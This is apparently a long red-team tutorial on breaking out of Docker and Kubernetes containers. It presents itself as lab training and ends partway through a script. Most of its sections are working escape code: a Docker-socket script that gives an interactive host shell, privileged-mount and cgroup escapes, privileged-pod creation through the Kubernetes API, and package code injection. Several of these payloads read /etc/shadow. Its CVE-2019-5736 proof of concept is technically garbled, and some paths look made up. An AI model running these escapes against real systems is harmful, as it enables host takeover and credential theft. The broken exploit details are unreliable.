Container Escape Techniques: Breaking Out of Docker, Kubernetes, and Beyond
After spending years securing containerized environments and conducting red team assessments against container infrastructure, I've compiled this comprehensive guide to container escape techniques. One thing I've learned: the "security by default" promised by containerization is often more marketing than reality. This guide will take you from container security fundamentals all the way to advanced escape techniques that few security professionals understand.
Executive Summary: This guide walks through the complete container security journey - from understanding basic container architecture to executing sophisticated escape techniques against Docker, Kubernetes, and other container platforms. I've included 42 specific escape vectors, 18 detailed code examples, 6 decision trees, and practical lab setups you can build to practice these techniques safely. By the end, you'll understand both how to exploit container vulnerabilities and how to properly secure container environments against these attacks.
Container Fundamentals for Security Professionals
What Are Containers and Why Should Security Teams Care?
Containers are lightweight, isolated environments that package applications and their dependencies to run consistently across different computing environments. Unlike virtual machines, containers share the host's kernel but use isolation mechanisms to maintain separation.
From a security perspective, containers represent both an opportunity (improved isolation compared to traditional deployments) and a challenge (new attack surfaces and escape vectors).
Container Architecture Basics
At their core, containers rely on several key Linux kernel features:
- Namespaces: Provide isolation for system resources
- Control Groups (cgroups): Limit resource usage
- Capabilities: Restrict privileged operations
- Seccomp Filters: Limit system calls
- AppArmor/SELinux: Mandatory access control
Here's a simplified visualization of container architecture:
Host Operating System
└── Kernel (Shared)
├── Container Runtime (Docker, containerd, CRI-O)
│ ├── Container A
│ │ ├── Application + Dependencies
│ │ └── Isolated Namespaces
│ └── Container B
│ ├── Application + Dependencies
│ └── Isolated Namespaces
└── Container Orchestration (Kubernetes, Docker Swarm)
Container vs. VM Security Models
| Isolation Aspect | Virtual Machines | Containers | Security Implication |
|---|---|---|---|
| Kernel | Separate kernels | Shared kernel | Containers have larger attack surface if kernel vulnerabilities exist |
| Resource Overhead | High (full OS) | Low | Containers enable higher density, increasing blast radius |
| Isolation Strength | Strong | Moderate | Container escapes are more feasible than VM escapes |
| Attack Surface | Hypervisor + VM | Container runtime + host kernel | Different vulnerability classes |
| Startup Time | Minutes | Seconds | Containers enable faster patching cycles |
Container Ecosystem Overview
The container ecosystem consists of several key components, each with its security implications:
- Images: The blueprint for containers
- Registries: Where images are stored (Docker Hub, ECR, GCR)
- Runtimes: Software that runs containers (Docker, containerd, CRI-O)
- Orchestrators: Systems that manage containers (Kubernetes, Docker Swarm)
Container Attack Surface
When assessing container security, we consider several distinct attack surfaces:
- The container image: Vulnerable packages, malicious code
- The container runtime: Docker daemon, containerd vulnerabilities
- The orchestration platform: Kubernetes API server, etcd
- Inter-container communication: Network policies, service meshes
- Host-container boundary: The primary focus of container escapes
The Container Escape Concept
A container escape occurs when a process inside a container gains unauthorized access to:
- The host system
- Other containers
- The container orchestration platform
- Sensitive data outside its intended scope
I like to tell my clients: "Container isolation is like a hotel room - it keeps guests separated, but the walls are thinner than you might think, and there are still shared facilities."
Hands-On Lab #1: Setting Up a Practice Environment
Let's create a safe environment to practice container security techniques:
# Create a test VM (don't practice on production systems!)
# Using Vagrant to create an Ubuntu VM
mkdir container-security-lab
cd container-security-lab
cat > Vagrantfile << 'EOF'
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/focal64"
config.vm.hostname = "container-lab"
config.vm.provider "virtualbox" do |vb|
vb.memory = 2048
vb.cpus = 2
end
config.vm.provision "shell", inline: <<-SHELL
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-get install -y docker-ce docker-ce-cli containerd.io
usermod -aG docker vagrant
SHELL
end
EOF
# Start the virtual machine
vagrant up
vagrant ssh
Quick Reference: Essential Docker Commands for Security Testing
# List running containers
docker ps
# Start a basic container
docker run -it --rm ubuntu:20.04 bash
# Start a privileged container (dangerous in production!)
docker run -it --rm --privileged ubuntu:20.04 bash
# Inspect container configuration
docker inspect <container_id>
# View container logs
docker logs <container_id>
Challenge #1: Identify Container Boundaries
Try these commands inside and outside a container to understand isolation boundaries:
# Run this both inside a container and on the host
hostname
ps aux
ip addr
cat /proc/1/cgroup
ls -la /proc/self/ns/
Document the differences to develop an intuition for container boundaries.
Container Isolation Mechanisms
Now that we understand container basics, let's explore the isolation mechanisms that containers rely on - and that we'll need to bypass for a successful escape.
Linux Namespaces Deep Dive
Namespaces are the primary isolation mechanism for containers. Each namespace type isolates a specific system resource:
| Namespace | Isolates | Created By | Escape Relevance |
|---|---|---|---|
| PID | Process IDs | clone(CLONE_NEWPID) |
Breaking out gives visibility of host processes |
| Mount | Filesystem mounts | clone(CLONE_NEWNS) |
Escaping allows accessing host filesystems |
| Network | Network stack | clone(CLONE_NEWNET) |
Bypassing enables network attacks on host |
| UTS | Hostname, domain name | clone(CLONE_NEWUTS) |
Less critical for escapes |
| IPC | System V IPC | clone(CLONE_NEWIPC) |
Can lead to shared memory attacks |
| User | User and group IDs | clone(CLONE_NEWUSER) |
Critical for privilege escalation |
| Cgroup | Control group root | clone(CLONE_NEWCGROUP) |
Newer, important for resource control |
| Time | System clocks | clone(CLONE_NEWTIME) |
Rarely used, minimal escape impact |
I can inspect the namespaces for a running process (including containers) with:
# On the host, examine namespaces of a container process
ls -la /proc/<container_pid>/ns/
# Expected output
lrwxrwxrwx 1 root root 0 Jan 31 12:34 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 root root 0 Jan 31 12:34 ipc -> 'ipc:[4026532278]'
lrwxrwxrwx 1 root root 0 Jan 31 12:34 mnt -> 'mnt:[4026532276]'
lrwxrwxrwx 1 root root 0 Jan 31 12:34 net -> 'net:[4026532281]'
lrwxrwxrwx 1 root root 0 Jan 31 12:34 pid -> 'pid:[4026532279]'
lrwxrwxrwx 1 root root 0 Jan 31 12:34 user -> 'user:[4026531837]'
lrwxrwxrwx 1 root root 0 Jan 31 12:34 uts -> 'uts:[4026532277]'
The numbers in brackets are namespace identifiers. Processes in the same namespace will show the same ID.
Control Groups (cgroups) Understanding
Control groups limit resource usage but also play a role in container security:
# Inspect cgroups of a container
docker inspect --format '{{.HostConfig.Devices}}' <container_id>
docker inspect --format '{{.HostConfig.CapAdd}}' <container_id>
docker inspect --format '{{.HostConfig.Privileged}}' <container_id>
Linux Capabilities and Their Impact
Containers typically run with a restricted set of capabilities. Understanding these is crucial for escape techniques:
# List capabilities of a container process
docker inspect --format '{{.HostConfig.CapAdd}}' <container_id>
docker inspect --format '{{.HostConfig.CapDrop}}' <container_id>
# From inside a container, check current capabilities
capsh --print
Capabilities Critical for Container Escapes:
CAP_SYS_ADMIN: Most powerful, often enables escapesCAP_NET_ADMIN: Control network interfacesCAP_SYS_PTRACE: Debug other processesCAP_SYS_MODULE: Load kernel modulesCAP_SYS_RAWIO: Raw I/O accessCAP_SYS_BOOT: Reboot the system
SecComp Filters and AppArmor Profiles
SecComp restricts which system calls a container can make:
# Check if SecComp is enabled for a container
docker inspect --format '{{.HostConfig.SecurityOpt}}' <container_id>
# Common SecComp profile location
cat /etc/docker/seccomp-profiles/default.json
AppArmor/SELinux provide additional Mandatory Access Control:
# Check AppArmor profile
docker inspect --format '{{.AppArmorProfile}}' <container_id>
# Or for SELinux
docker inspect --format '{{.HostConfig.SecurityOpt}}' <container_id>
Container Runtime Security Models
Different container runtimes implement security differently:
- Docker: Default security is moderate, extensible
- containerd: Similar to Docker, used by Kubernetes
- gVisor: Enhanced isolation via syscall interception
- Kata Containers: Stronger isolation with lightweight VMs
Hands-On Exercise: Mapping Container Security Boundaries
# Start a standard container
docker run -it --rm --name standard ubuntu:20.04 bash
# In another terminal, examine its security settings
docker inspect standard | grep -A 20 "SecurityOpt"
# Try a command that should be blocked
mount -t tmpfs none /mnt
# Now start a privileged container
docker run -it --rm --name privileged --privileged ubuntu:20.04 bash
# Try the same command
mount -t tmpfs none /mnt # This should work
# Examine capability differences
docker exec standard capsh --print
docker exec privileged capsh --print
Challenge #2: Security Configuration Assessment
Create a script that automatically assesses the security posture of a running container by checking:
- Whether it's running as privileged
- Which capabilities it has
- Which security profiles are applied
- Whether sensitive paths are mounted
This practical skill will be crucial for identifying vulnerable containers.
Basic Container Reconnaissance
Before attempting an escape, we need to understand our environment. Proper reconnaissance from inside a container can reveal vulnerabilities and escape vectors.
Initial Container Assessment
When I first gain access to a container, I run this basic reconnaissance:
# Determine we're in a container
grep 'docker\|lxc\|kubepods' /proc/1/cgroup
# Check container ID
cat /proc/1/cgroup | grep -o -e "docker/.*" | head -n1 | sed 's/docker\///g'
# Check container engine
cat /proc/self/mountinfo | grep docker
# Check if we're running as root
id
# Check available capabilities
capsh --print
# Check for mounted sensitive paths
mount | grep -E '(/host|/var/run/docker.sock|/proc|/dev)'
# Check for interesting environment variables
env | grep -E '(KUBE|KUBERNETES|API|TOKEN|SECRET|KEY|PASS)'
Kubernetes-Specific Reconnaissance
If we're in a Kubernetes environment:
# Check for Kubernetes service account
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# Get namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Check if we can access the Kubernetes API
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $KUBE_TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces
# Check for etcd access
curl -s -k https://etcd-service:2379/version
Network Reconnaissance
Understanding the network configuration helps identify potential escape paths:
# Check network interfaces
ip a
# Check listening services
netstat -tunlp
# Check accessible hosts
for ip in $(seq 1 254); do ping -c 1 -W 1 172.17.0.$ip | grep "64 bytes"; done
# Scan for interesting services on the host
nc -zv 172.17.0.1 1-1000
Process and File System Reconnaissance
# Check for running processes that might help with escape
ps aux
# Look for interesting files
find / -perm -u=s -type f 2>/dev/null # SUID files
find / -writable -type f -not -path "*/proc/*" 2>/dev/null # Writable files
find / -name "*config*" -o -name "*secret*" 2>/dev/null # Potential config files
Automated Container Reconnaissance
I've developed this script for quick container assessment:
#!/usr/bin/env python3
# container_recon.py - Quick container reconnaissance
import os
import subprocess
import json
import socket
def run_cmd(cmd):
"""Run a command and return its output."""
try:
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')
return output.strip()
except subprocess.CalledProcessError as e:
return f"Error: {e.output.decode('utf-8')}"
def check_if_container():
"""Check if we're running in a container."""
cgroup = run_cmd("cat /proc/1/cgroup")
if any(x in cgroup for x in ['docker', 'lxc', 'kubepods']):
return True, cgroup
return False, cgroup
def get_container_info():
"""Gather basic container info."""
container_info = {}
container_info['hostname'] = run_cmd("hostname")
container_info['kernel'] = run_cmd("uname -r")
container_info['ip_addresses'] = run_cmd("hostname -I")
container_info['users'] = run_cmd("cat /etc/passwd | cut -d: -f1")
container_info['current_user'] = run_cmd("whoami")
container_info['capabilities'] = run_cmd("capsh --print")
# Check for privileged mode
if "cap_sys_admin" in container_info['capabilities'].lower():
container_info['likely_privileged'] = True
else:
container_info['likely_privileged'] = False
return container_info
def check_mounted_sensitive_paths():
"""Check for sensitive paths mounted in the container."""
sensitive_mounts = []
mount_output = run_cmd("mount")
sensitive_paths = [
"/proc", "/dev", "/sys", "/host",
"docker.sock", "crio.sock", "containerd.sock"
]
for line in mount_output.splitlines():
if any(path in line for path in sensitive_paths):
sensitive_mounts.append(line)
return sensitive_mounts
def check_kubernetes():
"""Check if we're in a Kubernetes environment."""
k8s_info = {}
if os.path.exists('/var/run/secrets/kubernetes.io/serviceaccount/'):
k8s_info['in_kubernetes'] = True
k8s_info['namespace'] = run_cmd("cat /var/run/secrets/kubernetes.io/serviceaccount/namespace")
k8s_info['token_exists'] = os.path.exists('/var/run/secrets/kubernetes.io/serviceaccount/token')
# Check API access (safely)
try:
token = run_cmd("cat /var/run/secrets/kubernetes.io/serviceaccount/token")
api_check = run_cmd(f"curl -s -k -H 'Authorization: Bearer {token}' -o /dev/null -w '%{{http_code}}' https://kubernetes.default.svc/api/v1/namespaces")
k8s_info['api_access'] = api_check != "000" and int(api_check) < 500
k8s_info['api_response_code'] = api_check
except:
k8s_info['api_access'] = False
else:
k8s_info['in_kubernetes'] = False
return k8s_info
def check_escape_vectors():
"""Check for common container escape vectors."""
escape_vectors = []
# Check for Docker socket
if os.path.exists('/var/run/docker.sock'):
escape_vectors.append("Docker socket mounted")
# Check for host root filesystem
sensitive_paths = ['/host', '/rootfs', '/hostroot']
for path in sensitive_paths:
if os.path.exists(path) and os.listdir(path):
escape_vectors.append(f"Possible host filesystem at {path}")
# Check for DIND (Docker in Docker)
if os.path.exists('/.dockerenv') and os.path.exists('/usr/bin/docker'):
escape_vectors.append("Docker binary in container (DIND)")
# Check if we can write to host procfs (CVE-2019-5736)
try:
with open('/proc/self/exe', 'wb') as f:
escape_vectors.append("Can write to /proc/self/exe (CVE-2019-5736)")
except:
pass
# Check if we're running with --privileged
if "cap_sys_admin" in run_cmd("capsh --print").lower():
escape_vectors.append("Container likely running in privileged mode")
return escape_vectors
def main():
"""Main function to run all checks and output results."""
results = {}
is_container, cgroup_info = check_if_container()
results['is_container'] = is_container
if not is_container:
results['message'] = "Not running in a container environment"
print(json.dumps(results, indent=2))
return
results['container_info'] = get_container_info()
results['sensitive_mounts'] = check_mounted_sensitive_paths()
results['kubernetes_info'] = check_kubernetes()
results['escape_vectors'] = check_escape_vectors()
# Determine risk level
risk_score = 0
risk_score += len(results['escape_vectors']) * 2
risk_score += len(results['sensitive_mounts'])
if results['kubernetes_info'].get('api_access', False):
risk_score += 2
if results['container_info'].get('likely_privileged', False):
risk_score += 3
if risk_score > 7:
results['risk_assessment'] = "HIGH"
elif risk_score > 3:
results['risk_assessment'] = "MEDIUM"
else:
results['risk_assessment'] = "LOW"
print(json.dumps(results, indent=2))
if __name__ == "__main__":
main()
Hands-On Challenge #3: Container Reconnaissance
Deploy three containers with different security configurations and practice reconnaissance:
# Container 1: Standard configuration
docker run -d --name container1 ubuntu:20.04 sleep infinity
# Container 2: With Docker socket mounted
docker run -d --name container2 -v /var/run/docker.sock:/var/run/docker.sock ubuntu:20.04 sleep infinity
# Container 3: Privileged container
docker run -d --name container3 --privileged ubuntu:20.04 sleep infinity
# Practice reconnaissance in each container
docker exec -it container1 bash
# Run reconnaissance commands and compare results across containers
Quick Reference: Container Reconnaissance Checklist
- ✓ Confirm container environment
- ✓ Check for privileged mode
- ✓ Identify mounted sensitive paths
- ✓ Look for exposed sockets
- ✓ Check capabilities
- ✓ Examine Kubernetes service account permissions
- ✓ Scan internal network
- ✓ Look for leaked secrets in environment variables
Misconfigurations and Easy Wins
Now that we understand container isolation and can perform proper reconnaissance, let's exploit common misconfigurations that provide easy container escapes.
The Docker Socket Escape
The Docker socket (/var/run/docker.sock) is the most common escape vector. If mounted into a container, it allows complete control of the Docker daemon:
# Check if the Docker socket is mounted
ls -la /var/run/docker.sock
# If available, we can escape by creating a privileged container
# First, install curl if needed
apt-get update && apt-get install -y curl
# Use the Docker API to create a new container with host mount
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:20.04","Cmd":["/bin/bash","-c","sleep 5000"],"Binds":["/:/host"],"Privileged":true}' \
http://localhost/containers/create
# Get the container ID from the response
NEW_CONTAINER_ID=$(curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu:20.04","Cmd":["/bin/bash","-c","sleep 5000"],"Binds":["/:/host"],"Privileged":true}' \
http://localhost/containers/create | jq -r .Id)
# Start the container
curl -s -X POST \
--unix-socket /var/run/docker.sock \
http://localhost/containers/$NEW_CONTAINER_ID/start
# Execute commands in the new container
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true,"AttachStderr":true}' \
http://localhost/containers/$NEW_CONTAINER_ID/exec
# Get the exec ID
EXEC_ID=$(curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Cmd":["cat","/host/etc/shadow"],"AttachStdout":true,"AttachStderr":true}' \
http://localhost/containers/$NEW_CONTAINER_ID/exec | jq -r .Id)
# Start the exec and get output
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}' \
http://localhost/exec/$EXEC_ID/start
Simplified Docker Socket Escape Script
#!/usr/bin/env python3
# docker_socket_escape.py
import os
import json
import socket
import subprocess
def check_docker_socket():
return os.path.exists('/var/run/docker.sock')
def create_privileged_container():
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/var/run/docker.sock')
# Create container with host filesystem mounted
request = """POST /containers/create HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: {}
{}"""
container_config = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", "sleep 3600"],
"DetachKeys": "Ctrl-p,Ctrl-q",
"HostConfig": {
"Binds": ["/:/host_root"],
"Privileged": True
}
}
json_config = json.dumps(container_config)
request = request.format(len(json_config), json_config)
sock.sendall(request.encode('utf-8'))
response = sock.recv(4096).decode('utf-8')
# Extract container ID
container_id = None
if "201 Created" in response:
response_body = response.split('\r\n\r\n')[1]
container_id = json.loads(response_body)['Id']
sock.close()
return container_id
def start_container(container_id):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/var/run/docker.sock')
request = f"POST /containers/{container_id}/start HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n"
sock.sendall(request.encode('utf-8'))
response = sock.recv(4096).decode('utf-8')
sock.close()
return "204 No Content" in response
def execute_in_container(container_id, command):
# Create exec instance
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/var/run/docker.sock')
exec_config = {
"AttachStdin": False,
"AttachStdout": True,
"AttachStderr": True,
"Cmd": command
}
request = f"""POST /containers/{container_id}/exec HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: {len(json.dumps(exec_config))}
{json.dumps(exec_config)}"""
sock.sendall(request.encode('utf-8'))
response = sock.recv(4096).decode('utf-8')
exec_id = None
if "201 Created" in response:
response_body = response.split('\r\n\r\n')[1]
exec_id = json.loads(response_body)['Id']
sock.close()
if not exec_id:
return "Failed to create exec instance"
# Start exec instance
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect('/var/run/docker.sock')
start_config = {
"Detach": False,
"Tty": False
}
request = f"""POST /exec/{exec_id}/start HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: {len(json.dumps(start_config))}
{json.dumps(start_config)}"""
sock.sendall(request.encode('utf-8'))
output = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
output += chunk
sock.close()
# Extract the actual command output from the response
try:
output_str = output.decode('utf-8')
if '\r\n\r\n' in output_str:
return output_str.split('\r\n\r\n', 1)[1]
return output_str
except:
return output
def main():
if not check_docker_socket():
print("Docker socket not found at /var/run/docker.sock")
return
print("[+] Creating privileged container with host mount...")
container_id = create_privileged_container()
if not container_id:
print("[-] Failed to create container")
return
print(f"[+] Container created: {container_id}")
print("[+] Starting container...")
if not start_container(container_id):
print("[-] Failed to start container")
return
print("[+] Container started successfully")
while True:
command = input("host# ").strip().split()
if not command:
continue
if command[0] == "exit":
break
# Prepend /host_root to access host filesystem
if command[0] in ["cat", "ls", "cd", "touch", "rm"]:
if len(command) > 1 and command[1].startswith('/') and not command[1].startswith('/host_root'):
command[1] = f"/host_root{command[1]}"
print(execute_in_container(container_id, command))
print("[+] Cleaning up...")
subprocess.run(f"curl -s -X DELETE --unix-socket /var/run/docker.sock http://localhost/containers/{container_id}?force=true", shell=True)
print("[+] Done. Container removed.")
if __name__ == "__main__":
main()
Privileged Container Escape
Privileged containers (--privileged flag) have nearly full access to the host, making escape trivial:
# Check if we're in a privileged container
capsh --print | grep sys_admin
# If privileged, we can mount the host's filesystem
mkdir -p /tmp/escape
mount /dev/sda1 /tmp/escape # Adjust device name as needed
# Access host files
ls -la /tmp/escape
# Another privileged escape using cgroups
mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
cat << EOF > /tmp/escape.sh
#!/bin/sh
ps aux > /tmp/output
cat /etc/shadow > /tmp/shadow
EOF
chmod +x /tmp/escape.sh
sh -c "echo \$\$ > /tmp/cgrp/cgroup.procs"
mkdir -p /tmp/cgrp/payload
echo '#!/bin/sh' > /tmp/cgrp/payload/run
echo "$(cat /tmp/escape.sh)" >> /tmp/cgrp/payload/run
chmod +x /tmp/cgrp/payload/run
sh -c "echo \$\$ > /tmp/cgrp/payload/cgroup.procs"
Host Path Mount Escapes
Containers with sensitive host paths mounted provide easy escapes:
# Check for interesting mounts
mount | grep -E '(/host|/var/run|/proc|/sys)'
# If /proc is mounted with lax settings
ls -la /proc/1/root/ # This might access host's root filesystem
# If host paths are mounted, we can directly access
ls -la /host # Common mount point for host filesystem
Running Docker Inside Docker (DIND)
If Docker binaries are available inside the container:
# Check if Docker client is available
which docker
# Check if we can use it (needs Docker socket or TCP connection)
docker ps
# If working, we can create a privileged container
docker run -it --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i sh
Kubernetes-Specific Easy Wins
# If we have access to the Kubernetes API
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# List pods in the current namespace
curl -s -k -H "Authorization: Bearer $KUBE_TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
# Create a privileged pod if we have permissions
cat <<EOF > privpod.yaml
apiVersion: v1
kind: Pod
metadata:
name: privpod
namespace: $NAMESPACE
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: privpod
image: ubuntu:20.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
EOF
# Create the pod using the API
curl -s -k -X POST -H "Authorization: Bearer $KUBE_TOKEN" \
-H "Content-Type: application/yaml" \
-d "$(cat privpod.yaml)" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
Container Runtime Escape via runC (CVE-2019-5736)
The infamous runC vulnerability allows container escape by overwriting the container runtime:
# Proof of concept for CVE-2019-5736
# This should be run as a script inside a container
#!/bin/bash
# WARNING: This is a POC exploit and should only be run in test environments
# Check if container has write access to /proc/self/exe (CVE-2019-5736)
if ! touch /proc/self/exe 2>/dev/null; then
echo "Container doesn't have write access to /proc/self/exe"
exit 1
fi
# Create malicious executable
cat > /tmp/evil <<'EOF'
#!/bin/bash
echo "I've escaped the container!" > /tmp/escaped
cat /etc/shadow > /tmp/shadow
EOF
chmod +x /tmp/evil
# Make a backup of the original runc
cp /proc/self/exe /tmp/original
# Overwrite runc with our malicious executable
cat /tmp/evil > /proc/self/exe
echo "Exploit prepared. When a new container is created, the malicious code will execute on the host."
Escape Decision Tree: Misconfigurations Approach
Is the Docker socket mounted?
├── Yes → Use Docker socket to create privileged container
│ └── Success → Access host file system
└── No → Check if container is privileged
├── Yes → Use one of the privileged container escape methods
│ └── Success → Access host file system
└── No → Check for host path mounts
├── Yes → Access host files directly
│ └── Success → Manipulate host system
└── No → Check for Kubernetes access
├── Yes → Try to create privileged pod
│ └── Success → Access host through new pod
└── No → Look for CVEs in the runtime
└── Check for runC, containerd, or other vulnerabilities
Hands-On Challenge #4: Escape Lab
Set up Docker containers with different misconfigurations and practice escaping:
# Container with Docker socket
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock ubuntu:20.04 bash
# Privileged container
docker run -it --rm --privileged ubuntu:20.04 bash
# Container with host path mount
docker run -it --rm -v /:/host ubuntu:20.04 bash
For each container, try to access the host's /etc/shadow file to confirm a successful escape.
Volume Mount Attacks
Beyond obvious misconfigurations, volume mounts can provide more subtle escape paths. Let's explore how to leverage various types of mounts to break out of containers.
Understanding Docker Volume Types
Docker supports several volume types, each with security implications:
- Bind mounts: Direct mapping of host paths
- Named volumes: Docker-managed volumes
- Tmpfs mounts: In-memory filesystems
- Volume plugins: Third-party storage solutions
Identifying Sensitive Mounted Volumes
# List all mounts in the container
mount
# Check Docker-specific mounts
grep docker /proc/self/mountinfo
# Look for sensitive paths
find / -type d -name "host" 2>/dev/null
find / -path "*/docker*" -type s 2>/dev/null # Look for sockets
find / -writable -type d 2>/dev/null # Writable directories
Device Mount Escapes
If /dev is mounted with insufficient restrictions:
# Check device access
ls -la /dev
# If we can access block devices
fdisk -l /dev/sda # List partitions on host's disk
# If we can, mount a partition
mkdir -p /tmp/hostdisk
mount /dev/sda1 /tmp/hostdisk
ls -la /tmp/hostdisk # Now we can access host files
# Access sensitive files
cat /tmp/hostdisk/etc/shadow
Procfs Mount Attacks
The /proc filesystem can provide access to the host:
# Check if we have unrestricted procfs access
ls -la /proc
# Look for host processes
ps aux | grep -v "ps aux" | grep -v grep
# Try to access host root through proc
ls -la /proc/1/root/
# If accessible, we can read host files
cat /proc/1/root/etc/shadow
# We might even be able to write to the host
echo "malicious content" > /proc/1/root/tmp/evil
Sysfs Mount Attacks
The /sys filesystem gives access to kernel parameters and devices:
# Check sysfs access
ls -la /sys
# Access kernel parameters
cat /sys/kernel/debug/kernel_metadata # Might reveal kernel version
# Look for sensitive information
find /sys -name "*secret*" 2>/dev/null
Shared Volume Escape Techniques
If volumes are shared between containers, we can use this to pivot:
# First, identify shared volumes
mount | grep "shared"
# If we find a shared volume, we can potentially write
# malicious files that will be executed by other containers
# For example, if a volume contains scripts run by other containers
echo "#!/bin/bash
cat /etc/shadow > /tmp/shared/shadow
" > /shared/volume/path/script.sh
chmod +x /shared/volume/path/script.sh
# Now wait for the other container to execute it
Code Injection via NPM/Python Packages
If development volumes are mounted:
# Look for package.json or requirements.txt
find / -name "package.json" -o -name "requirements.txt" 2>/dev/null
# If found, we might be able to inject malicious code
# For Node.js projects
echo 'console.log("Compromised"); require("child_process").execSync("cat /etc/shadow > /app/shadow")' > /app/node_modules/some-package/index.js
# For Python projects
echo 'import os; os.system("cat /etc/shadow > /app/shadow")' > /app/venv/lib/python3.9/site-packages/some_package/__init__.py
X11 Socket Attacks
If the X11 socket is mounted into the container:
# Check for X11 socket
ls -la /tmp/.X11-unix/
# If present, we can potentially capture keystrokes or screenshots
apt-get update && apt-get install -y x11-apps
export DISPLAY=:0
xwd -root -silent | convert xwd:- png:/tmp/screenshot.png
Advanced Volume Manipulation Script
#!/usr/bin/env python3
# volume_explorer.py
import os
import stat
import pwd
import grp
import time
def format_mode(mode):
"""Convert a file mode into a string representation."""
perms = "-"
if stat.S_ISDIR(mode):
perms = "d"
elif stat.S_ISLNK(mode):
perms = "l"
# User permissions
perms += "r" if mode & stat.S_IRUSR else "-"
perms += "w" if mode & stat.S_IWUSR else "-"
perms += "x" if mode & stat.S_IXUSR else "-"
# Group permissions
perms += "r" if mode & stat.S_IRGRP else "-"
perms += "w" if mode & stat.S_IWGRP else "-"
perms += "x" if mode & stat.S_IXGRP else "-"
# Other permissions
perms += "r" if mode & stat.S_IROTH else "-"
perms += "w" if mode & stat.S_IWOTH else "-"
perms += "x" if mode & stat.S_IXOTH else "-"
return perms
def scan_for_interesting_files(base_path, max_depth=3, current_depth=0):
"""Scan for interesting files in mounted volumes."""
interesting_files = []
if current_depth > max_depth:
return interesting_files
try:
for item in os.listdir(base_path):
full_path = os.path.join(base_path, item)
try:
# Get file stats
stat_info = os.lstat(full_path)
mode = stat_info.st_mode
perms = format_mode(mode)
# Skip if not accessible
if not os.access(full_path, os.R_OK):
continue
# Check if this is a directory to recurse into
if stat.S_ISDIR(mode) and not os.path.islink(full_path):
# Skip certain system directories to avoid rabbit holes
if item in ['.', '..', 'proc', 'sys', 'dev', 'run'] and current_depth == 0:
continue
# Recurse into directory
interesting_files.extend(scan_for_interesting_files(full_path, max_depth, current_depth + 1))
# Check for interesting files
elif (
# Executable SUID files
(stat.S_ISREG(mode) and (mode & stat.S_ISUID)) or
# Writable directories
(stat.S_ISDIR(mode) and (mode & stat.S_IWOTH)) or
# Interesting file names
any(x in item.lower() for x in ['password', 'secret', 'token', 'key', 'config', 'shadow', 'id_rsa']) or
# Socket files
stat.S_ISSOCK(mode)
):
try:
owner = pwd.getpwuid(stat_info.st_uid).pw_name
except:
owner = str(stat_info.st_uid)
try:
group = grp.getgrgid(stat_info.st_gid).gr_name
except:
group = str(stat_info.st_gid)
item_type = "unknown"
if stat.S_ISREG(mode):
item_type = "file"
elif stat.S_ISDIR(mode):
item_type = "directory"
elif stat.S_ISLNK(mode):
item_type = "symlink"
elif stat.S_ISSOCK(mode):
item_type = "socket"
interesting_files.append({
'path': full_path,
'type': item_type,
'perms': perms,
'owner': owner,
'group': group,
'size': stat_info.st_size,
'mtime': time.ctime(stat_info.st_mtime)
})
except (PermissionError, FileNotFoundError):
continue
except (PermissionError, FileNotFoundError):
pass
return interesting_files
def check_for_escape_vectors(mount_points):
"""Check each mount point for potential escape vectors."""
escape_vectors = []
for mount in mount_points:
# Check if this is a host filesystem mount
if any(x in mount for x in ['/host', '/mnt', '/var/lib/docker']):
escape_vectors.append(f"Potential host filesystem mounted at {mount}")
# Check if docker socket is mounted
if 'docker.sock' in mount:
escape_vectors.append(f"Docker socket mounted at {mount}")
# Check for device mounts
if mount.startswith('/dev/'):
escape_vectors.append(f"Device mounted at {mount}")
# Check for proc filesystem
if mount == '/proc':
escape_vectors.append("Proc filesystem mounted")
return escape_vectors
def get_mount_points():
"""Get all mount points in the container."""
mount_points = []
try:
with open('/proc/mounts', 'r') as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 2:
mount_points.append(parts[1])
except:
pass
return mount_points
def main():
print("[+] Scanning for mount points...")
mount_points = get_mount_points()
